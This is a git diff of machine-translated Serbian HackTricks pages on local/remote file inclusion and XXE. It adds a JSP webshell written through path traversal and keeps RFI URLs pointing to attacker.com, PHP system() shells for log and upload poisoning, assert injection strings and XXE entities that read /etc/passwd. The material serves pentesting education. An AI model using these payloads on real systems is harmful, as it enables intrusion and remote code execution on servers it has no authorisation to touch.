Translated ['src/pentesting-web/file-inclusion/README.md', 'src/pentesti

This commit is contained in:
Translator 2025-08-18 18:21:43 +00:00
parent a897b3ef91
commit fafe9e42b8
2 changed files with 162 additions and 85 deletions

View File

@ -1,4 +1,4 @@
# Uključivanje fajlova/Putanja prolaz
# Uključivanje fajlova/Putanja prolaza
{{#include ../../banners/hacktricks-training.md}}
@ -32,7 +32,7 @@ Lista koja koristi nekoliko tehnika za pronalaženje datoteke /etc/password (da
### **Windows**
Spajanje različitih lista reči:
Spajanje različitih rečnika:
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
@ -82,11 +82,11 @@ Možda back-end proverava putanju fascikle:
```python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
### Istraživanje direktorijuma datotečnog sistema na serveru
### Istraživanje direktorijuma fajl sistema na serveru
Datotečni sistem servera može se istraživati rekurzivno kako bi se identifikovali direktorijumi, a ne samo datoteke, korišćenjem određenih tehnika. Ovaj proces uključuje određivanje dubine direktorijuma i ispitivanje postojanja specifičnih foldera. Ispod je detaljna metoda za postizanje ovoga:
Fajl sistem servera može se istraživati rekurzivno kako bi se identifikovali direktorijumi, a ne samo fajlovi, korišćenjem određenih tehnika. Ovaj proces uključuje određivanje dubine direktorijuma i ispitivanje postojanja specifičnih foldera. Ispod je detaljna metoda za postizanje ovoga:
1. **Odredite dubinu direktorijuma:** Utvrdite dubinu vašeg trenutnog direktorijuma uspešnim preuzimanjem datoteke `/etc/passwd` (primenjivo ako je server zasnovan na Linux-u). Primer URL-a može biti strukturiran na sledeći način, ukazujući na dubinu od tri:
1. **Odredite dubinu direktorijuma:** Utvrdite dubinu vašeg trenutnog direktorijuma uspešnim preuzimanjem fajla `/etc/passwd` (primenljivo ako je server zasnovan na Linux-u). Primer URL-a može biti strukturiran na sledeći način, ukazujući na dubinu od tri:
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
@ -94,7 +94,7 @@ http://example.com/index.php?page=../../../etc/passwd # depth of 3
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
3. **Tumačenje Ishoda:** Odgovor servera ukazuje da li folder postoji:
3. **Tumačenje Ishoda:** Odgovor servera ukazuje na to da li folder postoji:
- **Greška / Nema Izlaza:** Folder `private` verovatno ne postoji na navedenoj lokaciji.
- **Sadržaj `/etc/passwd`:** Prisutnost foldera `private` je potvrđena.
4. **Rekurzivna Istraživanja:** Otkriveni folderi se mogu dodatno istraživati za poddirektorijume ili datoteke koristeći istu tehniku ili tradicionalne metode Lokalnog Uključivanja Datoteka (LFI).
@ -126,7 +126,7 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas
U ovim scenarijima, broj potrebnih prolaza može biti oko 2027, ali ovaj broj može varirati u zavisnosti od konfiguracije servera.
- **Korišćenje tačaka i dodatnih karaktera**: Sekvence prolaza (`../`) u kombinaciji sa dodatnim tačkama i karakterima mogu se koristiti za navigaciju kroz fajl sistem, efikasno ignorirajući dodatne stringove koje server dodaje.
- **Određivanje potrebnog broja prolaza**: Kroz pokušaje i greške, može se pronaći tačan broj `../` sekvenci potrebnih za navigaciju do root direktorijuma, a zatim do `/etc/passwd`, osiguravajući da su svi dodati stringovi (poput `.php`) neutralisani, ali da željeni put (`/etc/passwd`) ostane netaknut.
- **Određivanje potrebnog broja prolaza**: Kroz pokušaje i greške, može se pronaći precizan broj `../` sekvenci potrebnih za navigaciju do root direktorijuma, a zatim do `/etc/passwd`, osiguravajući da su svi dodati stringovi (poput `.php`) neutralisani, ali da željeni put (`/etc/passwd`) ostane netaknut.
- **Početak sa lažnim direktorijumom**: Uobičajena praksa je da se put započne sa nepostojećim direktorijumom (poput `a/`). Ova tehnika se koristi kao mera predostrožnosti ili da bi se ispunili zahtevi logike parsiranja putanje servera.
Kada se koriste tehnike skraćivanja putanja, ključno je razumeti ponašanje servera prilikom parsiranja putanja i strukturu fajl sistema. Svaki scenario može zahtevati drugačiji pristup, a testiranje je često neophodno da bi se pronašla najefikasnija metoda.
@ -143,7 +143,7 @@ http://example.com/index.php?page=PhP://filter
```
## Remote File Inclusion
U php-u je ovo podrazumevano onemogućeno jer je **`allow_url_include`** **Isključeno.** Mora biti **Uključeno** da bi radilo, i u tom slučaju možete uključiti PHP datoteku sa vašeg servera i dobiti RCE:
U php-u je ovo po defaultu onemogućeno jer je **`allow_url_include`** **Isključeno.** Mora biti **Uključeno** da bi radilo, i u tom slučaju možete uključiti PHP datoteku sa vašeg servera i dobiti RCE:
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
@ -152,8 +152,8 @@ Ako je iz nekog razloga **`allow_url_include`** **Uključeno**, ali PHP **filtri
```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
> [!NOTE]
> U prethodnom kodu, konačni `+.txt` je dodat jer je napadaču bila potrebna string koji se završava sa `.txt`, tako da se string završava tim i nakon b64 dekodiranja taj deo će vratiti samo smeće, a pravi PHP kod će biti uključen (i stoga, izvršen).
> [!TIP]
> U prethodnom kodu, konačni `+.txt` je dodat jer je napadaču bila potrebna string koja se završava sa `.txt`, tako da se string završava tim i nakon b64 dekodiranja taj deo će vratiti samo smeće i pravi PHP kod će biti uključen (i stoga, izvršen).
Još jedan primer **koji ne koristi `php://` protokol** bio bi:
```
@ -181,7 +181,7 @@ Izgleda da ako imate Path Traversal u Javi i **tražite direktorijum** umesto da
## Top 25 parametara
Evo liste od 25 najvažnijih parametara koji bi mogli biti podložni ranjivostima lokalnog uključivanja datoteka (LFI) (iz [link](https://twitter.com/trbughunters/status/1279768631845494787)):
Evo liste od 25 najvažnijih parametara koji bi mogli biti podložni lokalnim ranjivostima uključivanja datoteka (LFI) (iz [link](https://twitter.com/trbughunters/status/1279768631845494787)):
```
?cat={payload}
?dir={payload}
@ -219,7 +219,7 @@ PHP filteri omogućavaju osnovne **operacije modifikacije podataka** pre nego š
- `string.rot13`
- `string.toupper`
- `string.tolower`
- `string.strip_tags`: Uklanja oznake iz podataka (sve između "<" i ">" karaktera)
- `string.strip_tags`: Uklanja tagove iz podataka (sve između "<" i ">" karaktera)
- Imajte na umu da je ovaj filter nestao iz modernih verzija PHP-a
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
- `convert.base64-encode`
@ -229,10 +229,10 @@ PHP filteri omogućavaju osnovne **operacije modifikacije podataka** pre nego š
- `convert.iconv.*` : Transformiše u drugačiju kodiranje (`convert.iconv.<input_enc>.<output_enc>`). Da biste dobili **listu svih podržanih kodiranja**, pokrenite u konzoli: `iconv -l`
> [!WARNING]
> Zloupotrebom `convert.iconv.*` konverzionog filtera možete **generisati proizvoljan tekst**, što može biti korisno za pisanje proizvoljnog teksta ili pravljenje funkcije poput uključivanja koja obrađuje proizvoljan tekst. Za više informacija pogledajte [**LFI2RCE putem php filtera**](lfi2rce-via-php-filters.md).
> Zloupotrebom `convert.iconv.*` konverzionog filtera možete **generisati proizvoljan tekst**, što može biti korisno za pisanje proizvoljnog teksta ili pravljenje funkcije poput uključivanja procesa proizvoljnog teksta. Za više informacija pogledajte [**LFI2RCE putem php filtera**](lfi2rce-via-php-filters.md).
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: Kompresuje sadržaj (korisno ako se eksfiltrira mnogo informacija)
- `zlib.deflate`: Kompresuje sadržaj (korisno ako se exfiltrira puno informacija)
- `zlib.inflate`: Dekompresuje podatke
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
- `mcrypt.*` : Zastarjelo
@ -240,7 +240,7 @@ PHP filteri omogućavaju osnovne **operacije modifikacije podataka** pre nego š
- Ostali filteri
- Pokretanjem u php `var_dump(stream_get_filters());` možete pronaći nekoliko **neočekivanih filtera**:
- `consumed`
- `dechunk`: obrće HTTP chunked encoding
- `dechunk`: obrće HTTP chunked kodiranje
- `convert.*`
```php
# String Filters
@ -273,25 +273,25 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
### Korišćenje php filtera kao orakla za čitanje proizvoljnih fajlova
[**U ovom postu**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) predložena je tehnika za čitanje lokalnog fajla bez vraćanja izlaza sa servera. Ova tehnika se zasniva na **boolean eksfiltraciji fajla (karakter po karakter) koristeći php filtere** kao orakl. To je zato što se php filteri mogu koristiti za povećanje teksta dovoljno da php izazove izuzetak.
[**U ovom postu**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) predložena je tehnika za čitanje lokalnog fajla bez vraćanja izlaza sa servera. Ova tehnika se zasniva na **boolean eksfiltraciji fajla (karakter po karakter) koristeći php filtere** kao orakl. To je zato što se php filteri mogu koristiti za povećanje veličine teksta dovoljno da php izazove izuzetak.
U originalnom postu možete pronaći detaljno objašnjenje tehnike, ali evo brzog pregleda:
- Koristite codec **`UCS-4LE`** da ostavite vodeći karakter teksta na početku i povećate veličinu stringa eksponencijalno.
- Ovo će se koristiti za generisanje **teksta toliko velikog kada je početno slovo tačno pogođeno** da će php izazvati **grešku**.
- **dechunk** filter će **ukloniti sve ako prvi karakter nije heksadecimalni**, tako da možemo znati da li je prvi karakter heks.
- Ovo, u kombinaciji sa prethodnim (i drugim filtrima u zavisnosti od pogođenog slova), će nam omogućiti da pogodimo slovo na početku teksta gledajući kada uradimo dovoljno transformacija da ga učinimo neheksadecimalnim karakterom. Jer ako je heks, dechunk ga neće obrisati i početna bomba će izazvati php grešku.
- Codec **convert.iconv.UNICODE.CP930** transformiše svako slovo u sledeće (tako da nakon ovog codec-a: a -> b). Ovo nam omogućava da otkrijemo da li je prvo slovo `a`, na primer, jer ako primenimo 6 ovog codec-a a->b->c->d->e->f->g slovo više nije heksadecimalni karakter, stoga dechunk ga nije obrisao i php greška se izaziva jer se množi sa početnom bombom.
- Korišćenjem drugih transformacija kao što je **rot13** na početku moguće je eksfiltrirati druga slova kao n, o, p, q, r (i drugi codeci se mogu koristiti za pomeranje drugih slova u heks opseg).
- Filter **dechunk** će **ukloniti sve ako prvi karakter nije heksadecimalni**, tako da možemo znati da li je prvi karakter heks.
- Ovo, u kombinaciji sa prethodnim (i drugim filtrima u zavisnosti od pogođenog slova), omogućiće nam da pogodimo slovo na početku teksta gledajući kada uradimo dovoljno transformacija da ga učinimo neheksadecimalnim karakterom. Jer ako je heks, dechunk ga neće obrisati i početna bomba će izazvati php grešku.
- Codec **convert.iconv.UNICODE.CP930** transformiše svako slovo u sledeće (tako da nakon ovog codec-a: a -> b). Ovo nam omogućava da otkrijemo da li je prvo slovo `a`, na primer, jer ako primenimo 6 ovih codec-a a->b->c->d->e->f->g slovo više nije heksadecimalni karakter, stoga dechunk ga nije obrisao i php greška je izazvana jer se množi sa početnom bombom.
- Korišćenjem drugih transformacija kao što je **rot13** na početku moguće je eksfiltrirati druga slova kao što su n, o, p, q, r (i drugi codec-i se mogu koristiti za pomeranje drugih slova u heks opseg).
- Kada je početni karakter broj, potrebno je da se base64 kodira i eksfiltrira prva 2 slova da bi se otkrio broj.
- Konačni problem je videti **kako eksfiltrirati više od početnog slova**. Korišćenjem filtera za redosled memorije kao što su **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** moguće je promeniti redosled karaktera i dobiti na prvoj poziciji druga slova teksta.
- I kako bismo mogli da dobijemo **dalje podatke**, ideja je da **generišemo 2 bajta junk podataka na početku** sa **convert.iconv.UTF16.UTF16**, primenimo **UCS-4LE** da bi se **povezali sa sledeća 2 bajta**, i **obrišemo podatke do junk podataka** (ovo će ukloniti prva 2 bajta početnog teksta). Nastavite to da radite dok ne dođete do željenog bita za eksfiltraciju.
- I kako bismo mogli da dobijemo **dalje podatke**, ideja je da **generišemo 2 bajta junk podataka na početku** sa **convert.iconv.UTF16.UTF16**, primenimo **UCS-4LE** da bi se **pivotirali sa sledeća 2 bajta**, i **obrišemo podatke do junk podataka** (ovo će ukloniti prva 2 bajta inicijalnog teksta). Nastavite to da radite dok ne dođete do željenog bita za eksfiltraciju.
U postu je takođe otkriven alat za automatsko izvođenje ovoga: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
### php://fd
Ovaj wrapper omogućava pristup deskriptorima fajlova koje proces ima otvorene. Potencijalno korisno za eksfiltraciju sadržaja otvorenih fajlova:
Ovaj omotač omogućava pristup deskriptorima fajlova koje proces ima otvorene. Potencijalno korisno za eksfiltraciju sadržaja otvorenih fajlova:
```php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
@ -316,7 +316,7 @@ mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
```
### data://
### podaci://
```
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
@ -337,7 +337,7 @@ http://example.com/index.php?page=expect://ls
```
### input://
Specifikujte svoj payload u POST parametrima:
Navedite svoj payload u POST parametrima:
```bash
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
```
@ -389,7 +389,7 @@ Check more possible[ **protocols to include here**](https://www.php.net/manual/e
## LFI via PHP's 'assert'
Local File Inclusion (LFI) rizici u PHP-u su posebno visoki kada se radi sa funkcijom 'assert', koja može izvršiti kod unutar stringova. Ovo je posebno problematično ako se unos koji sadrži karaktere za prelazak direktorijuma kao što su ".." proverava, ali se ne sanitizuje pravilno.
Local File Inclusion (LFI) rizici u PHP-u su posebno visoki kada se radi sa funkcijom 'assert', koja može izvršiti kod unutar stringova. Ovo je posebno problematično ako se unos koji sadrži karaktere za prelazak direktorijuma kao što je ".." proverava, ali nije pravilno očišćen.
For example, PHP code might be designed to prevent directory traversal like so:
```bash
@ -399,7 +399,7 @@ Dok ovo ima za cilj da zaustavi prolazak, nenamerno stvara vektor za injekciju k
```plaintext
' and die(highlight_file('/etc/passwd')) or '
```
Slično, za izvršavanje proizvoljnih sistemskih komandi, može se koristiti:
Slično tome, za izvršavanje proizvoljnih sistemskih komandi, može se koristiti:
```plaintext
' and die(system("id")) or '
```
@ -408,35 +408,81 @@ Važno je **URL-enkodirati ove payload-e**.
## PHP Blind Path Traversal
> [!WARNING]
> Ova tehnika je relevantna u slučajevima kada **kontrolišete** **putanju fajla** PHP funkcije koja će **pristupiti fajlu** ali nećete videti sadržaj fajla (kao jednostavan poziv **`file()`**) ali sadržaj nije prikazan.
> Ova tehnika je relevantna u slučajevima kada **kontrolišete** **putanju fajla** PHP **funkcije** koja će **pristupiti fajlu**, ali nećete videti sadržaj fajla (kao jednostavan poziv na **`file()`**) ali sadržaj nije prikazan.
U [**ovom neverovatnom postu**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) objašnjeno je kako se slepa putanja može zloupotrebiti putem PHP filtera da se **ekstrahuje sadržaj fajla putem greške orakla**.
Ukratko, tehnika koristi **"UCS-4LE" enkodiranje** da bi sadržaj fajla bio toliko **velik** da će **PHP funkcija koja otvara** fajl izazvati **grešku**.
Zatim, kako bi se otkrio prvi karakter, filter **`dechunk`** se koristi zajedno sa drugim kao što su **base64** ili **rot13**, a na kraju se koriste filteri **convert.iconv.UCS-4.UCS-4LE** i **convert.iconv.UTF16.UTF-16BE** da se **postave drugi karakteri na početak i otkriju**.
Zatim, kako bi se iscurio prvi karakter, filter **`dechunk`** se koristi zajedno sa drugim kao što su **base64** ili **rot13**, a na kraju se koriste filteri **convert.iconv.UCS-4.UCS-4LE** i **convert.iconv.UTF16.UTF-16BE** da se **postave drugi karakteri na početak i iscuri ih**.
**Funkcije koje bi mogle biti ranjive**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (samo ciljani read only sa ovim)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
**Funkcije koje bi mogle biti ranjive**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (samo ciljati read only sa ovim)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
Za tehničke detalje proverite pomenuti post!
## LFI2RCE
### Remote File Inclusion
### Arbitrary File Write via Path Traversal (Webshell RCE)
Objašnjeno ranije, [**pratite ovu vezu**](#remote-file-inclusion).
Kada serverski kod koji unosi/otprema fajlove gradi odredišnu putanju koristeći podatke koje kontroliše korisnik (npr. naziv fajla ili URL) bez kanonizacije i validacije, `..` segmenti i apsolutne putanje mogu pobjeći iz predviđene direktorije i izazvati arbitrarnu pisanje fajla. Ako možete postaviti payload pod web-izloženu direktoriju, obično dobijate neautentifikovanu RCE tako što postavljate webshell.
### Putem Apache/Nginx log fajla
Tipičan tok eksploatacije:
- Identifikujte write primitiv u endpoint-u ili pozadinskom radniku koji prihvata putanju/naziv fajla i piše sadržaj na disk (npr. unos vođen porukama, XML/JSON upravljači komandom, ZIP ektraktori, itd.).
- Odredite web-izložene direktorije. Uobičajeni primeri:
- Apache/PHP: `/var/www/html/`
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → postavite `shell.jsp`
- IIS: `C:\inetpub\wwwroot\` → postavite `shell.aspx`
- Kreirajte putanju za prelazak koja izlazi iz predviđene direktorije za skladištenje u webroot, i uključite sadržaj vašeg webshell-a.
- Pregledajte postavljeni payload i izvršite komande.
Ako je Apache ili Nginx server **ranjiv na LFI** unutar include funkcije, mogli biste pokušati da pristupite **`/var/log/apache2/access.log` ili `/var/log/nginx/access.log`**, postavite unutar **user agent-a** ili unutar **GET parametra** php shell kao **`<?php system($_GET['c']); ?>`** i uključite taj fajl.
Napomene:
- Ranjiva usluga koja vrši pisanje može slušati na ne-HTTP portu (npr. JMF XML slušalac na TCP 4004). Glavni web portal (drugi port) će kasnije poslužiti vaš payload.
- Na Java stakovima, ova pisanja fajlova se često implementiraju jednostavnom `File`/`Paths` konkatenacijom. Nedostatak kanonizacije/whitelistinga je osnovna greška.
Generički XML/JMF primer (proizvodni šeme variraju DOCTYPE/body omotač je nebitan za prelazak):
```xml
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>
```
Hardening that defeats this class of bugs:
- Rezolvirati na kanonski put i osigurati da je podređen dozvoljenoj osnovnoj direktoriji.
- Odbaciti bilo koji put koji sadrži `..`, apsolutne korene ili slova drajva; preferirati generisane nazive datoteka.
- Pokrenuti pisca kao nalog sa niskim privilegijama i odvojiti direktorijume za pisanje od posluženih korena.
## Remote File Inclusion
Objašnjeno ranije, [**follow this link**](#remote-file-inclusion).
### Via Apache/Nginx log file
Ako je Apache ili Nginx server **ranjiv na LFI** unutar funkcije uključivanja, možete pokušati da pristupite **`/var/log/apache2/access.log` ili `/var/log/nginx/access.log`**, postaviti unutar **user agent** ili unutar **GET parametra** php shell kao **`<?php system($_GET['c']); ?>`** i uključiti tu datoteku.
> [!WARNING]
> Imajte na umu da **ako koristite dvostruke navodnike** za shell umesto **jednostavnih navodnika**, dvostruki navodnici će biti modifikovani za string "_**quote;**_", **PHP će baciti grešku** tamo i **ništa drugo neće biti izvršeno**.
>
> Takođe, uverite se da **ispravno pišete payload** ili će PHP grešiti svaki put kada pokuša da učita log fajl i nećete imati drugu priliku.
> Takođe, uverite se da **ispravno pišete payload** ili će PHP grešiti svaki put kada pokuša da učita log datoteku i nećete imati drugu priliku.
Ovo se takođe može uraditi u drugim logovima, ali **budite oprezni**, kod unutar logova može biti URL enkodiran i to može uništiti Shell. Header **authorisation "basic"** sadrži "user:password" u Base64 i dekodira se unutar logova. PHPShell se može umetnuti unutar ovog header-a.\
Ostale moguće putanje logova:
Ovo se takođe može uraditi u drugim logovima, ali **budite oprezni,** kod unutar logova može biti URL kodiran i to može uništiti Shell. Header **authorisation "basic"** sadrži "user:password" u Base64 i dekodira se unutar logova. PHPShell može biti umetnut unutar ovog headera.\
Ostali mogući putevi logova:
```python
/var/log/apache2/access.log
/var/log/apache/access.log
@ -457,7 +503,7 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
### Putem /proc/\*/fd/\*
1. Učitajte mnogo shell-ova (na primer: 100)
2. Uključite [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), sa $PID = PID procesa (može se brute force-ovati) i $FD datoteka deskriptora (takođe može da se brute force-uje)
2. Uključite [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), sa $PID = PID procesa (može se brute-forcovati) i $FD datoteka deskriptor (može se takođe brute-forcovati)
### Putem /proc/self/environ
@ -466,21 +512,21 @@ Kao log fajl, pošaljite payload u User-Agent, biće reflektovan unutar /proc/se
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
```
### Via upload
### Putem upload-a
Ako možete da otpremite datoteku, jednostavno ubacite shell payload u nju (npr: `<?php system($_GET['c']); ?>`).
Ako možete da otpremite fajl, jednostavno ubacite shell payload u njega (npr: `<?php system($_GET['c']); ?>`).
```
http://example.com/index.php?page=path/to/uploaded/file.png
```
Da bi se datoteka održala čitljivom, najbolje je ubrizgati u metapodatke slika/doc/pdf
### Putem učitavanja ZIP datoteke
### Putem učitavanja Zip datoteke
Učitajte ZIP datoteku koja sadrži PHP shell kompresovanu i pristupite:
```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```
### Via PHP sesije
### Putem PHP sesija
Proverite da li veb sajt koristi PHP sesiju (PHPSESSID)
```
@ -506,7 +552,7 @@ Ako je ssh aktivan, proverite koji korisnik se koristi (/proc/self/status & /etc
### **Via** **vsftpd** _**logs**_
Logovi za FTP server vsftpd se nalaze na _**/var/log/vsftpd.log**_. U scenariju gde postoji ranjivost Local File Inclusion (LFI), i pristup izloženom vsftpd serveru je moguć, sledeći koraci se mogu razmotriti:
Logovi za FTP server vsftpd se nalaze na _**/var/log/vsftpd.log**_. U scenariju gde postoji ranjivost Local File Inclusion (LFI), i gde je moguć pristup izloženom vsftpd serveru, sledeći koraci se mogu razmotriti:
1. Umetnite PHP payload u polje korisničkog imena tokom procesa prijavljivanja.
2. Nakon umetanja, iskoristite LFI da preuzmete server logove sa _**/var/log/vsftpd.log**_.
@ -521,7 +567,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
### Via php filters (no file needed)
Ovaj [**writeup**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) objašnjava da možete koristiti **php filters za generisanje proizvoljnog sadržaja** kao izlaz. Što u osnovi znači da možete **generisati proizvoljan php kod** za uključivanje **bez potrebe da ga pišete** u datoteku.
Ovaj [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) objašnjava da možete koristiti **php filters za generisanje proizvoljnog sadržaja** kao izlaz. Što u osnovi znači da možete **generisati proizvoljan php kod** za include **bez potrebe da ga pišete** u datoteku.
{{#ref}}
lfi2rce-via-php-filters.md
@ -529,7 +575,7 @@ lfi2rce-via-php-filters.md
### Via segmentation fault
**Upload**-ujte datoteku koja će biti sačuvana kao **privremena** u `/tmp`, zatim u **isto zahtev**, izazovite **segmentation fault**, i tada **privremena datoteka neće biti obrisana** i možete je potražiti.
**Upload**-ujte datoteku koja će biti sačuvana kao **privremena** u `/tmp`, zatim u **isto vreme**, izazovite **segmentation fault**, i tada **privremena datoteka neće biti obrisana** i možete je potražiti.
{{#ref}}
lfi2rce-via-segmentation-fault.md
@ -561,7 +607,7 @@ lfi2rce-via-temp-file-uploads.md
### Via `pearcmd.php` + URL args
Kao što je [**objašnjeno u ovom postu**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), skripta `/usr/local/lib/phppearcmd.php` postoji po defaultu u php docker slikama. Štaviše, moguće je proslediti argumente skripti putem URL-a jer je naznačeno da ako URL parametar nema `=`, treba ga koristiti kao argument.
Kao [**objašnjeno u ovom postu**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), skripta `/usr/local/lib/phppearcmd.php` postoji po defaultu u php docker slikama. Štaviše, moguće je proslediti argumente skripti putem URL-a jer je naznačeno da ako URL parametar nema `=`, treba ga koristiti kao argument.
Sledeći zahtev kreira datoteku u `/tmp/hello.php` sa sadržajem `<?=phpinfo()?>`:
```bash
@ -602,7 +648,7 @@ lfi2rce-via-eternal-waiting.md
Ako uključite bilo koju od datoteka `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Morate uključiti istu dva puta da biste izazvali tu grešku).
**Ne znam koliko je ovo korisno, ali možda jeste.**\
**Ne znam kako je ovo korisno, ali možda jeste.**\
_Čak i ako izazovete PHP Fatal Error, PHP privremene datoteke koje su otpremljene se brišu._
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
@ -611,6 +657,8 @@ _Čak i ako izazovete PHP Fatal Error, PHP privremene datoteke koje su otpremlje
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
- [Horizon3.ai From Support Ticket to Zero Day (FreeFlow Core path traversal → arbitrary write → webshell)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/)
- [Xerox Security Bulletin 025-013 FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf)
{{#file}}
EN-Local-File-Inclusion-1.pdf

View File

@ -6,10 +6,10 @@
XML je jezik za označavanje dizajniran za skladištenje i prenos podataka, sa fleksibilnom strukturom koja omogućava korišćenje opisno nazvanih oznaka. Razlikuje se od HTML-a po tome što nije ograničen na skup unapred definisanih oznaka. Značaj XML-a je opao sa porastom JSON-a, uprkos njegovoj početnoj ulozi u AJAX tehnologiji.
- **Predstavljanje podataka kroz entitete**: Entiteti u XML-u omogućavaju predstavljanje podataka, uključujući specijalne karaktere poput `&lt;` i `&gt;`, koji odgovaraju `<` i `>` kako bi se izbegla sukob sa sistemom oznaka XML-a.
- **Predstavljanje podataka kroz entitete**: Entiteti u XML-u omogućavaju predstavljanje podataka, uključujući specijalne karaktere kao što su `&lt;` i `&gt;`, koji odgovaraju `<` i `>` kako bi se izbegla sukob sa sistemom oznaka XML-a.
- **Definisanje XML elemenata**: XML omogućava definisanje tipova elemenata, naglašavajući kako bi elementi trebali biti strukturirani i koji sadržaj mogu sadržati, od bilo koje vrste sadržaja do specifičnih podelemenata.
- **Definicija tipa dokumenta (DTD)**: DTD-ovi su ključni u XML-u za definisanje strukture dokumenta i tipova podataka koje može sadržati. Mogu biti unutrašnji, spoljašnji ili kombinacija, usmeravajući kako se dokumenti formatiraju i validiraju.
- **Prilagođeni i spoljašnji entiteti**: XML podržava kreiranje prilagođenih entiteta unutar DTD-a za fleksibilnu reprezentaciju podataka. Spoljašnji entiteti, definisani URL-om, postavljaju bezbednosne brige, posebno u kontekstu napada XML Eksterna Entitet (XXE), koji koriste način na koji XML parseri obrađuju spoljne izvore podataka: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
- **Prilagođeni i spoljašnji entiteti**: XML podržava kreiranje prilagođenih entiteta unutar DTD-a za fleksibilno predstavljanje podataka. Spoljašnji entiteti, definisani URL-om, postavljaju bezbednosne brige, posebno u kontekstu napada XML Eksterna Entitet (XXE), koji koriste način na koji XML parseri obrađuju spoljne izvore podataka: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
- **XXE detekcija sa parametarskim entitetima**: Za detekciju XXE ranjivosti, posebno kada konvencionalne metode ne uspevaju zbog bezbednosnih mera parsera, mogu se koristiti XML parametarski entiteti. Ovi entiteti omogućavaju tehnike detekcije van opsega, kao što su pokretanje DNS upita ili HTTP zahteva ka kontrolisanoj domeni, kako bi se potvrdila ranjivost.
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
@ -43,7 +43,7 @@ U ovom prvom slučaju primetite da će SYSTEM "_**file:///**etc/passwd_" takođe
```
![](<../images/image (86).png>)
Ovaj drugi slučaj bi trebao biti koristan za ekstrakciju fajla ako web server koristi PHP (Nije slučaj Portswigger laboratorija)
Ovaj drugi slučaj bi trebao biti koristan za ekstrakciju fajla ako web server koristi PHP (Nije slučaj sa Portswigger laboratorijama)
```xml
<!--?xml version="1.0" ?-->
